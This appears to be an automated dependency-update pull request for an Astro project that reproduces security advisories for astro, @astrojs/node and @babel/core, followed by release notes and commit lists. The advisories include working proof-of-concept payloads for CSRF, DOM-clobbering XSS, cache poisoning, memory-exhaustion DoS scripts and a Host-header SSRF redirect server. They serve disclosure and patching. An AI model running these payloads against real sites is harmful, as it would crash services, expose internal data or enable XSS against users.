Content-Typeheader is not required for a request. The following examples are sent without aContent-Typeheader, resulting in CSRF.// Pattern 2.1 Request without body fetch('http://test.example.com', { method: 'POST', credentials: 'include' }); // Pattern 2.2 Blob object without type fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: new Blob(['a=b'], {}), });Impact
Bypass CSRF protection implemented with CSRF middleware.
Note
Even with
credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.
๐จ DOM Clobbering Gadget found in astro's client-side router that leads to XSS
Summary
A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has stored attacker-controlled scriptless HTML elements (i.e.,
iframetags with unsanitizednameattributes) on the destination pages.Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Astro
We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the
<ViewTransitions />component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an<a>link):astro/packages/astro/src/transitions/router.ts
Lines 135 to 156 in 7814a6c
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.scriptslookup can be shadowed by an attacker injected non-script HTML elements (e.g.,<img name="scripts"><img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements.The condition
script.dataset.astroExec === ''on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require atypeattribute.Finally, the
innerHTMLof an attacker-injected non-script HTML elements, which is plain text content before, will be set to the.innerHTMLof an script element that leads to XSS.PoC
Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g.,
formoriframe). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.For PoC website, please refer to:
https://stackblitz.com/edit/github-4xgj2d. Clicking the "about" button in the menu will trigger analert(1)from an attacker-injectedformelement.--- import Header from "../components/Header.astro"; import Footer from "../components/Footer.astro"; import { ViewTransitions } from "astro:transitions"; import "../styles/global.css"; const { pageTitle } = Astro.props; --- <html lang="en"> <head> <meta charset="utf-8" /> <link rel="icon" type="image/svg+xml" href="/favicon.svg" /> <meta name="viewport" content="width=device-width" /> <meta name="generator" content={Astro.generator} /> <title>{pageTitle}</title> <ViewTransitions /> </head> <body> <!--USER INPUT--> <iframe name="scripts">alert(1)</iframe> <iframe name="scripts">alert(1)</iframe> <!--USER INPUT--> <Header /> <h1>{pageTitle}</h1> <slot /> <Footer /> <script> import "../scripts/menu.js"; </script> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with
ViewTransitionsand store the user-inserted scriptless HTML tags without properly sanitizing thenameattributes on the page.Patch
We recommend replacing
document.scriptswithdocument.getElementsByTagName('script')for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging thenameattribute.Reference
Similar issues for reference:
- Webpack (CVE-2024-43788)
- Vite (CVE-2024-45812)
- layui (CVE-2024-47075)
Release Notes
Too many releases to show here. View the full release notes.
โณ๏ธ @โastrojs/node (3.1.0 โ 11.0.2) ยท Repo
Security Advisories ๐จ
๐จ @astrojs/node: Backslash-prefixed paths not recognized as internal by trailing-slash redirect
Impact
With
trailingSlash: 'always'configured, the@astrojs/nodestandalone server's static file handler appends a trailing slash to request paths and issues a301redirect. Paths beginning with/\(slash-backslash) were not recognized as internal paths, so the handler would echo the raw path back in theLocationheader. Because browsers treat\as/per the WHATWG URL specification, the resulting redirect could resolve to an external host.Preconditions:
trailingSlash: 'always'must be set (non-default; the default is'ignore')- The request path must not have a file extension in its final segment
- An attacker must deliver the crafted link to a user
Patches
Fixed by treating backslash-prefixed paths the same as
//-prefixed paths inisInternalPath(), so they are no longer rewritten with a trailing slash.Workarounds
Use the default
trailingSlash: 'ignore'setting, which does not issue trailing-slash redirects in the static file handler.References
๐จ Astro: Cache Poisoning due to incorrect error handling when if-match header is malformed
Summary
Requesting a static JS/CSS resource from the
_astropath with an incorrect or malformedif-matchheader returns a500error with a one-year cache lifetime instead of412in some cases. As a result, all subsequent requests to that file โ regardless of theif-matchheader โ will be served a 5xx error instead of the file until the cache expires.Sending an incorrect or malformed
if-matchheader should always return a412error without any cache headers, which is not the current behavior.Affected Versions
astro@5.14.1@astrojs/node@9.4.4Proof of Concept
Run the following command:
curl -s -o /dev/null -D - <host location>/_astro/_slug_.UTbyeVfw.css -H "if-match: xxx"If a 5xx error is not returned, inspect the resources via the browser's web inspector and select another CSS/JS file to request until a 5xx error is returned. The behavior generally defaults to a 5xx response. Note that all static files are immutable, so the cache must be purged or disabled to reproduce reliably.
A response similar to the following is expected from CloudFront:
HTTP/2 500 content-type: text/html content-length: 166541 date: Thu, 09 Apr 2026 12:53:08 GMT last-modified: Wed, 21 Jan 2026 13:40:08 GMT etag: "a68349e96c2faf8861c330aeb548441a" x-amz-server-side-encryption: AES256 accept-ranges: bytes server: AmazonS3 x-cache: Error from cloudfront via: 1.1 3591be88662e5675a9dc1cc4e0a9c392.cloudfront.net (CloudFront) x-amz-cf-pop: ZRH55-P2 x-amz-cf-id: Rg--RIYCKcA55GZqZXdvu-VTvpxBFFVzV4LBIcKq5pB_hktcrhYbKg==The above is not the real server output but the AWS error response triggered when the pods return a 5xx. Below is the output of the same
curlcommand issued directly against a pod in Kubernetes:โฏ curl -s -o /dev/null -D - -H "Host: tagesanzeiger.ch" 127.0.0.1:3333/_astro/InstallPrompt.astro_astro_type_script_index_0_lang.C0M4llHG.js -H "if-match: xxx" HTTP/1.1 500 Internal Server Error Cache-Control: public, max-age=31536000, immutable Accept-Ranges: bytes Last-Modified: Tue, 07 Apr 2026 07:08:03 GMT ETag: W/"560-19d66c50c38" Content-Type: text/javascript; charset=utf-8 Date: Tue, 07 Apr 2026 08:23:54 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunkedThis demonstrates that the pod itself returns a
5xxerror instead of412. In addition, the response includes aCache-Control: public, max-age=31536000, immutableheader.Because the testing setup configures
if-matchas part of the cache key, the exploit no longer affects the production application. Prior to that change, the CDN Point of Presence would become cache-poisoned, and any client visiting the affected pages without cached files through the same PoP would receive broken pages. This was reproduced by creating test URLs and visiting them in a browser only after triggering the exploit. The exploited resources returned5xxerrors instead of the original CSS/JS content, breaking the application.Details
The findings were analyzed with an LLM, which identified the following file as the likely source: serve-static.ts
// Lines 129-153 let forwardError = false; stream.on('error', (err) => { if (forwardError) { console.error(err.toString()); res.writeHead(500); res.end('Internal server error'); return; } // File not found, forward to the SSR handler ssr(); }); stream.on('headers', (_res: ServerResponse) => { // assets in dist/_astro are hashed and should get the immutable header if (normalizedPathname.startsWith(`/${app.manifest.assetsDir}/`)) { // This is the "far future" cache header, used for static files whose name includes their digest hash. // 1 year (31,536,000 seconds) is convention. // Taken from https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control#immutable _res.setHeader('Cache-Control', 'public, max-age=31536000, immutable'); } }); stream.on('file', () => { forwardError = true; }); stream.pipe(res);LLM analysis:
sendhandles conditional request headers such asIf-Matchinternally. When a file is found but the precondition fails (ETag mismatch),send:
- Emits
file(the file exists) โforwardError = true- Emits
headersโCache-Control: public, max-age=31536000, immutableis set onres- Emits
errorwith aPreconditionFailedError(status 412)However, the error handler does not inspect the error's status code:
stream.on('error', (err) => { if (forwardError) { console.error(err.toString()); res.writeHead(500); // โ always 500, regardless of the actual error res.end('Internal server error'); return; } ssr(); });Because
Cache-Controlwas already set during theheadersevent, the response is sent as:HTTP/1.1 500 Internal Server Error Cache-Control: public, max-age=31536000, immutableImpact
Cache Poisoning โ An attacker can force edge servers to cache an error page instead of the actual content, rendering one or more assets unavailable to legitimate users until the cache expires.
๐จ Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands
Summary
Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because
JSON.parse()allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The/_server-islands/[name]route is registered on all Astro SSR apps regardless of whether any component usesserver:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.Details
Astro automatically registers a Server Islands route at
/_server-islands/[name]on all SSR apps, regardless of whether any component usesserver:defer. The POST handler inpackages/astro/src/core/server-islands/endpoint.tsbuffers the entire request body into memory and parses it as JSON with no size or depth limit:// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56) const raw = await request.text(); // full body buffered into memory โ no size limit const data = JSON.parse(raw); // parsed into V8 object graph โ no element count limitThe request body is parsed before the island name is validated, so the attacker does not need to know any valid island name โ
/_server-islands/anythingtriggers the vulnerable code path. No authentication is required.Additionally,
JSON.parse()allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g.,[{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.PoC
Environment: Astro 5.18.0,
@astrojs/node9.5.4, Node.js 22 with--max-old-space-size=128.The app does not use
server:deferโ this is a minimal SSR setup with no server island components. The route is still registered and exploitable.Setup files:
package.json:{ "name": "poc-server-islands-dos", "scripts": { "build": "astro build", "start": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.18.0", "@astrojs/node": "9.5.4" } }
astro.config.mjs:import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), });
src/pages/index.astro:--- --- <html> <head><title>Astro App</title></head> <body> <h1>Hello</h1> <p>Just a plain SSR page. No server islands.</p> </body> </html>
Dockerfile:FROM node:22-slim WORKDIR /app COPY package.json . RUN npm install COPY . . RUN npm run build EXPOSE 4321 CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
docker-compose.yml:services: astro: build: . ports: - "4321:4321" deploy: resources: limits: memory: 256mReproduction:
# Build and start docker compose up -d # Verify server is running curl http://localhost:4321/ # => 200 OK
crash.py:import requests # Any path under /_server-islands/ works โ no valid island name needed TARGET = "http://localhost:4321/_server-islands/x" # 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object # 8.6 MB on wire โ ~180+ MB heap allocation โ exceeds 128 MB limit n = 3_000_000 payload = '[' + ','.join(['{}'] * n) + ']' print(f"Payload: {len(payload) / (1024*1024):.1f} MB") try: r = requests.post(TARGET, data=payload, headers={"Content-Type": "application/json"}, timeout=30) print(f"Status: {r.status_code}") except requests.exceptions.ConnectionError: print("Server crashed (OOM killed)")$ python crash.py Payload: 8.6 MB Server crashed (OOM killed) $ curl http://localhost:4321/ curl: (7) Failed to connect to localhost port 4321: Connection refused $ docker compose ps NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS (empty โ container was OOM killed)The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.
Impact
Any Astro SSR app with the Node standalone adapter is affected โ the
/_server-islands/[name]route is registered by default regardless of whether any component usesserver:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names โ any value in the[name]parameter works because the body is parsed before the name is validated.
๐จ Astro has memory exhaustion DoS due to missing request body size limit in Server Actions
Summary
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.
Details
On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit โ a single oversized request is sufficient to exhaust the process heap and crash the server.
Astro's Node adapter (
mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.Action names are discoverable from HTML form attributes on any public page, so no authentication is required.
PoC
Details
Setup
Create a new Astro project with the following files:
package.json:{ "name": "poc-dos", "private": true, "scripts": { "build": "astro build", "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } }
astro.config.mjs:import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), });
src/actions/index.ts:import { defineAction } from 'astro:actions'; import { z } from 'astro:schema'; export const server = { echo: defineAction({ input: z.object({ data: z.string() }), handler: async (input) => ({ received: input.data.length }), }), };
src/pages/index.astro:--- --- <html><body><p>Server running</p></body></html>
crash-test.mjs:const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) }); console.log('Sending 125 MB payload...'); try { const res = await fetch('http://localhost:4321/_actions/echo', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: payload, }); console.log('Status:', res.status); } catch (e) { console.log('Server crashed:', e.message); }Reproduction
npm install && npm run build # Terminal 1: Start server with 128 MB memory limit npm run start:128mb # Terminal 2: Send 125 MB payload node crash-test.mjsThe server process crashes with
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.Impact
Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.
๐จ Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize
Summary
A bug in Astro's image pipeline allows bypassing
image.domains/image.remotePatternsrestrictions, enabling the server to fetch content from unauthorized remote hosts.Details
Astro provides an
inferSizeoption that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using theimage.domainsorimage.remotePatternsoptions).However, when
inferSizeis used, no domain validation is performed โ the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.PoC
Details
Setup
Create a new Astro project with the following files:
package.json:{ "name": "poc-ssrf-infersize", "private": true, "scripts": { "dev": "astro dev --port 4322", "build": "astro build" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } }
astro.config.mjsโ onlylocalhost:9000is authorized:import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { hostname: 'localhost', port: '9000' } ] } });
internal-service.mjsโ simulates an internal service on a non-allowlisted host (127.0.0.1:8888):import { createServer } from 'node:http'; const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64'); createServer((req, res) => { console.log(`[INTERNAL] Received: ${req.method} ${req.url}`); res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length }); res.end(GIF); }).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));
src/pages/test.astro:--- import { getImage } from 'astro:assets'; const result = await getImage({ src: 'http://127.0.0.1:8888/internal-api', inferSize: true, alt: 'test' }); --- <html><body> <p>Width: {result.options.width}, Height: {result.options.height}</p> </body></html>Steps to reproduce
- Run
npm installand start the internal service:node internal-service.mjs
- Start the dev server:
npm run dev
- Request the page:
curl http://localhost:4322/test
internal-service.mjslogsReceived: GET /internal-apiโ the request was sent to127.0.0.1:8888despite onlylocalhost:9000being in the allowlist.Impact
Allows bypassing
image.domains/image.remotePatternsrestrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.
๐จ Astro has Full-Read SSRF in error rendering via Host: header injection
Summary
Server-Side Rendered pages that return an error with a prerendered custom error page (eg.
404.astroor500.astro) are vulnerable to SSRF. If theHost:header is changed to an attacker's server, it will be fetched on/500.htmland they can redirect this to any internal URL to read the response body through the first request.Details
The following line of code fetches
statusURLand returns the response back to the client:astro/packages/astro/src/core/app/base.ts
Line 534 in bf0b4bf
statusURLcomes fromthis.baseWithoutTrailingSlash, which is built from theHost:header.prerenderedErrorPageFetch()is justfetch(), and follows redirects. This makes it possible for an attacker to set theHost:header to their server (eg.Host: attacker.tld), and if the server still receives the request without normalization, Astro will now fetchhttp://attacker.tld/500.html.The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.
Looking at the vulnerable code, the way to reach this is if the
renderError()function is called (error response during SSR) and the error page is prerendered (custom500.astroerror page). The PoC below shows how a basic project with these requirements can be set up.Note: Another common vulnerable pattern for
404.astrowe saw is:return new Response(null, {status: 404});Also, it does not matter what
allowedDomainsis set to, since it only checks theX-Forwarded-Host:header.astro/packages/astro/src/core/app/base.ts
Line 146 in 9e16d63
PoC
- Create a new empty project
npm create astro@latest poc -- --template minimal --install --no-git --yes
- Create
poc/src/pages/error.astrowhich throws an error with SSR:--- export const prerender = false; throw new Error("Test") ---
- Create
poc/src/pages/500.astrowith any content like:<p>500 Internal Server Error</p>
- Build and run the app
cd poc npx astro add node --yes npm run build && npm run preview
- Set up an "internal server" which we will SSRF to. Create a file called
ssrf.txtand host it locally on http://localhost:8000:cd $(mktemp -d) echo "SECRET CONTENT" > ssrf.txt python3 -m http.server
- Set up attacker's server with exploit code and run it, so that its server becomes available on http://localhost:5000:
# pip install Flask from flask import Flask, redirect app = Flask(__name__) @app.route("/500.html") def exploit(): return redirect("http://127.0.0.1:8000/ssrf.txt") if __name__ == "__main__": app.run()
- Send the following request to the server, and notice the 500 error returns "SECRET CONTENT".
$ curl -i http://localhost:4321/error -H 'Host: localhost:5000' HTTP/1.1 500 OK content-type: text/plain date: Tue, 03 Feb 2026 09:51:28 GMT last-modified: Tue, 03 Feb 2026 09:51:09 GMT server: SimpleHTTP/0.6 Python/3.12.3 Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked SECRET CONTENTImpact
An attacker who can access the application without
Host:header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies).
๐จ Astro allows unauthorized third-party images in _image endpoint
Summary
In affected versions of
astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.Details
On-demand rendered sites built with Astro include an
/_imageendpoint which returns optimized versions of images.The
/_imageendpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using theimage.domainsorimage.remotePatternsoptions).However, a bug in impacted versions of
astroallows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g./_image?href=//example.com/image.png.Proof of Concept
Create a new minimal Astro project (
astro@5.13.0).Configure it to use the Node adapter (
@astrojs/node@9.1.0โ newer versions are not impacted):// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ adapter: node({ mode: 'standalone' }), });Build the site by running
astro build.Run the server, e.g. with
astro preview.Append
/_image?href=//placehold.co/600x400to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400The site will serve the image from the unauthorized
placehold.coorigin.Impact
Allows a non-authorized third-party to create URLs on an impacted siteโs origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.
๐จ @astrojs/node's trailing slash handling causes open redirect issue
Summary
Following GHSA-cq8c-xv66-36gw, there's still an Open Redirect vulnerability in a subset of Astro deployment scenarios.
Details
Astro 5.12.8 fixed a case where
https://example.com//astro.build/presswould redirect to the external origin//astro.build/press. However, with the Node deployment adapter in standalone mode andtrailingSlashset to"always"in the Astro configuration,https://example.com//astro.build/pressstill redirects to//astro.build/press.Proof of Concept
- Create a new minimal Astro project (
astro@5.12.8)- Configure it to use the Node adapter (
@astrojs/node@9.4.0) and force trailing slashes:// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ trailingSlash: 'always', adapter: node({ mode: 'standalone' }), });- Build the site by running
astro build.- Run the server, e.g. with
astro preview.- Append
//astro.build/pressto the preview URL, e.g. http://localhost:4321//astro.build/press- The site will redirect to the external Astro Build origin.
Example reproduction
- Open this StackBlitz reproduction.
- Open the preview in a separate window so the StackBlitz embed doesn't cause security errors.
- Append
//astro.build/pressto the preview URL, e.g.https://x.local-corp.webcontainer.io//astro.build/press.- See it redirect to the external Astro Build origin.
Impact
This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.
No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.
Sorry, we couldnโt find anything useful about this release.
โณ๏ธ @โastrojs/react (1.2.2 โ 6.0.1) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โณ๏ธ @โastrojs/tailwind (2.1.3 โ 6.0.2) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โณ๏ธ prettier-plugin-astro (0.7.0 โ 0.14.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 56 commits:
Version Packages (#423)fix: try to fix GitHub Actionschore: update compilerVersion Packages (#418)[FEAT] Add option to skip formatting the Frontmatter (#417)Version Packages (#401)fix: rewrite readme (#400)fix: hug when needed for components and fragments (#397)Version Packages (#393)fix: regression with self-closing tags text (#394)fix: format JSX expressions with 3+ roots (#392)Fix: typo in `CONTRIBUTING.md` and broken links on `elements.ts` (#391)Version Packages (#385)Fix attributes using optional chaining not formatting correctly (#384)ci: run CI on latest Node versions (#380)Version Packages (#379)fix(embed): Replace all instances of invalid characters inside expressions (#378)Readme: Clarify filename of prettierrc (#376)Version Packages (#371)Do not delete line breaks and indentation of lines in class attribute (#369)Format doctype as lowercase to match Prettier 3.0 (#370)Version Packages (#363)docs: update README for Prettier 3 ESM configs (#366)chore(package.json): remove pnpm from engines (#362)Add congrats bot (#357)Version Packages (#356)feat: support for Prettier 3 (#355)Version Packages (#350)feat: use sync version of the compiler (#349)Version Packages (#348)fix: prevent parsing empty script tags (#347)[ci] formatVersion Packages (#343)docs: rewrite README (#344)feat(embed): Add support for formatting JSON, Markdown etc script tags (#342)[ci] formatUse `babel-ts` to parse the frontmatter (#341)Version Packages (#327)Correctly pass options to embedded parsers (#339)Add compatibility for other plugins parsing top-level returns in Astro frontmatter (#336)fix: treat offset as bytes (#324)Version Packages (#321)Add support for formatting spread attributes (#320)fix(css): Add support for formatting LESS style blocks (#319)config(prettier): Add lockfile to .prettierignore[ci] formatchore(deps): Upgrade dependenciesci(node): Remove Node 14 in favor of Node 18 (#314)Version Packages (#313)fix: Remove only-allowVersion Packages (#307)Migrate to pnpm (#303)Fix node not hugging their end when the last children was a node (#312)Add test for ignoring self-closing tag + upgrade compiler (#310)chore: upgrade compiler (#305)chore: use .cjs instead of .js (#304)
โ๏ธ @โastrojs/compiler (indirect, 0.29.17 โ 2.13.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
โ๏ธ @โastrojs/prism (indirect, 1.0.2 โ 4.0.2) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โastrojs/telemetry (indirect, 1.0.1 โ 3.3.3) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
โ๏ธ @โbabel/compat-data (indirect, 7.20.1 โ 7.29.7) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ @โbabel/core (indirect, 7.20.2 โ 7.29.7) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ @babel/core: Arbitrary File Read via sourceMappingURL Comment
Impact
Using
@babel/coreto compile maliciously crafted code can allow ab attacker to read any source map from the system that is running Babel, if these conditions are all true:
- the attacker controls the input source code
- the attacker can read the output source code
- the attacker knows the path of the source map file that they want to read
Users that only compile trusted code are not impacted.
Patches
The vulnerability has been fixed in
@babel/core@7.29.6and@babel/core@8.0.0-rc.6.Workarounds
Callers can mitigate the issue without upgrading by setting
inputSourceMap: falsein their Babel options.Callers can also manually extract the
#sourceMappingURLcomment from the input source code, validate whether the source map that it links to is allowed to be read, and if it is pass an object toinputSourceMap(passingfalsewhen it's not).Credits
Thanks Teodor-Cristian Radoi for reporting the vulnerability.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ @โbabel/helper-compilation-targets (indirect, 7.20.0 โ 7.29.7) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ @โbabel/helper-module-imports (indirect, 7.18.6 โ 7.29.7) ยท Repo ยท Changelog
Release Notes
7.29.7
v7.29.7 (2026-05-25)
Re-release all packages with npm provenance attestations
7.27.1
v7.27.1 (2025-04-30)
Thanks @kermanx and @woaitsAryan for your first PRs!
๐ Spec Compliance
babel-parserbabel-parser,babel-types๐ Bug Fix
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressions,babel-traversebabel-helper-wrap-function,babel-plugin-transform-async-to-generator
- #17251 Fix: propagate argument evaluation errors through async promise chain (@magic-akari)
babel-helper-remap-async-to-generator,babel-plugin-transform-async-to-generatorbabel-helper-fixtures,babel-parserbabel-generator,babel-parserbabel-parserbabel-compat-data,babel-preset-envbabel-traverse
- #17156 fix: Objects and arrays with multiple references should not be evaluated (@liuxingbaoyu)
babel-generator๐ Polish
babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining,babel-plugin-proposal-decorators,babel-plugin-transform-arrow-functions,babel-plugin-transform-class-properties,babel-plugin-transform-destructuring,babel-plugin-transform-object-rest-spread,babel-plugin-transform-optional-chaining,babel-plugin-transform-parameters,babel-traverse
- #17221 Reduce generated names size for the 10th-11th (@nicolo-ribaudo)
๐ Internal
babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #17263 Remove unused
regenerator-runtimedep in@babel/runtime(@nicolo-ribaudo)babel-compat-data,babel-preset-envbabel-compat-data,babel-standalonebabel-register
- #16844 Migrate
@babel/registerto cts (@liuxingbaoyu)babel-helpers,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-preset-env,babel-runtime-corejs3
- #17205 Inline regenerator in the relevant packages (@nicolo-ribaudo)
- All packages
๐ฌ Output optimization
babel-helpers,babel-plugin-transform-modules-commonjs,babel-runtime-corejs3
- #16538 Reduce
interopRequireWildcardsize (@liuxingbaoyu)babel-helpers,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-preset-env,babel-runtime-corejs3
- #17213 Reduce
regeneratorRuntimesize (@liuxingbaoyu)Committers: 9
- Aryan Bharti (@woaitsAryan)
- Babel Bot (@babel-bot)
- Frolov Roman (@Lacsw)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- @magic-akari
- _Kerman (@kermanx)
- fisker Cheung (@fisker)
7.25.9
v7.25.9 (2024-10-22)
Thanks @victorenator for your first PR!
๐ Bug Fix
babel-parser,babel-template,babel-types
- #16905 fix: Keep type annotations in
syntacticPlaceholdersmode (@liuxingbaoyu)babel-helper-compilation-targets,babel-preset-env- Other
- #16884 Analyze
ClassAccessorPropertyto prevent theno-undefrule (@victorenator)๐ Internal
babel-helper-transform-fixture-test-runner- Every package
- #16917 fix: Accidentally published
tsconfigfiles (@liuxingbaoyu)๐โโ๏ธ Performance
babel-parser,babel-types
- #16918 perf: Make
VISITOR_KEYSetc. faster to access (@liuxingbaoyu)Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Viktar Vaลญฤkieviฤ (@victorenator)
- @liuxingbaoyu
7.25.7
v7.25.7 (2024-10-02)
Thanks @DylanPiercey and @YuHyeonWook for your first PRs!
๐ Bug Fix
babel-helper-validator-identifierbabel-traverse
- #16814 fix: issue with node path keys updated on unrelated paths (@DylanPiercey)
babel-plugin-transform-classes
- #16797 Use an inclusion rather than exclusion list for
super()check (@nicolo-ribaudo)babel-generator
- #16788 Fix printing of TS
inferin compact mode (@nicolo-ribaudo)- #16785 Print TS type annotations for destructuring in assignment pattern (@nicolo-ribaudo)
- #16778 Respect
[no LineTerminator here]after nodes (@nicolo-ribaudo)๐ Polish
babel-types
- #16852 Add deprecated JSDOC for fields (@liuxingbaoyu)
๐ Internal
babel-core
- #16820 Allow sync loading of ESM when
--experimental-require-module(@nicolo-ribaudo)babel-helper-compilation-targets,babel-helper-plugin-utils,babel-preset-envbabel-plugin-proposal-destructuring-private,babel-plugin-syntax-decimal,babel-plugin-syntax-import-reflection,babel-standalone
- #16809 Archive syntax-import-reflection and syntax-decimal (@nicolo-ribaudo)
babel-generator
- #16779 Simplify logic for
[no LineTerminator here]before nodes (@nicolo-ribaudo)๐โโ๏ธ Performance
babel-plugin-transform-typescript
- #16875 perf: Avoid extra cloning of namespaces (@liuxingbaoyu)
babel-types
- #16842 perf: Improve @babel/types builders (@liuxingbaoyu)
- #16828 Only access
BABEL_TYPES_8_BREAKINGat startup (@nicolo-ribaudo)Committers: 8
- Babel Bot (@babel-bot)
